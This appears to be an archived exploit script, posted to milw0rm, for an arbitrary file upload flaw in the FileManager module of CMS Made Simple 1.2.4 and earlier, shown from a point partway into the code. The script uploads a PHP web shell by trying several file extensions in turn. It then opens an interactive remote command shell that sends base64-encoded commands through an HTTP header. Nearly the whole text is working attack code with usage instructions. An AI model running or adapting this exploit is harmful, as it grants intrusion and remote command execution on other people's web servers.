CMS Made Simple <= 1.2.4 (FileManager module) File Upload Exploit\n`; $data .= `--12345--\r\n`; $packet = `POST {$path}modules/FileManager/postlet/javaUpload.php HTTP/1.0\r\n`; $packet .= `Host: {$host}\r\n`; $packet .= `Content-Length: `.strlen($data).`\r\n`; $packet .= `Content-Type: multipart/form-data; boundary=12345\r\n`; $packet .= `Connection: close\r\n\r\n`; $packet .= $data; $html = http_send($host, $packet); if (!eregi(`POSTLET:YES`, $html)) die(`\n[-] Upload failed!\n`); $packet = `GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n`; $packet .= `Host: {$host}\r\n`; $packet .= `Connection: close\r\n\r\n`; $html = http_send($host, $packet); if (!eregi(`print`, $html) and eregi(`_code_`, $html)) return $ext; sleep(1); } return false; } print `\n+----------------------------------------------------------------+`; print `\n| CMS Made Simple <= 1.2.4 Arbitrary File Upload Exploit by EgiX |`; print `\n+----------------------------------------------------------------+\n`; if ($argc < 2) { print `\nUsage......: php $argv[0] host path`; print `\nExample....: php $argv[0] localhost /cms/\n`; die(); } $host = $argv[1]; $path = $argv[2]; $uploaddir = rawurlencode(`[PATH TO UPLOAD DIRECTORY]`); $file_ext = array(`dhtml`, `phtml`, `php3`, `php5`, `jsp`, `jar`, `cgi`); if (!($ext = upload())) die(`\n\n[-] Exploit failed...\n`); else print `\n[-] Shell uploaded...starting it!\n`; define(STDIN, fopen(`php://stdin`, `r`)); while(1) { print `\ncmsmadesimple-shell# `; $cmd = trim(fgets(STDIN)); if ($cmd != `exit`) { $packet = `GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n`; $packet.= `Host: {$host}\r\n`; $packet.= `Cmd: `.base64_encode($cmd).`\r\n`; $packet.= `Connection: close\r\n\r\n`; $html = http_send($host, $packet); //echo $html; if (!eregi(`_code_`, $html)) die(`\n[-] Exploit failed...\n`); $shell = explode(`_code_`, $html); print `\n{$shell[1]}`; } else break; } ?> # milw0rm.com [2008-05-12]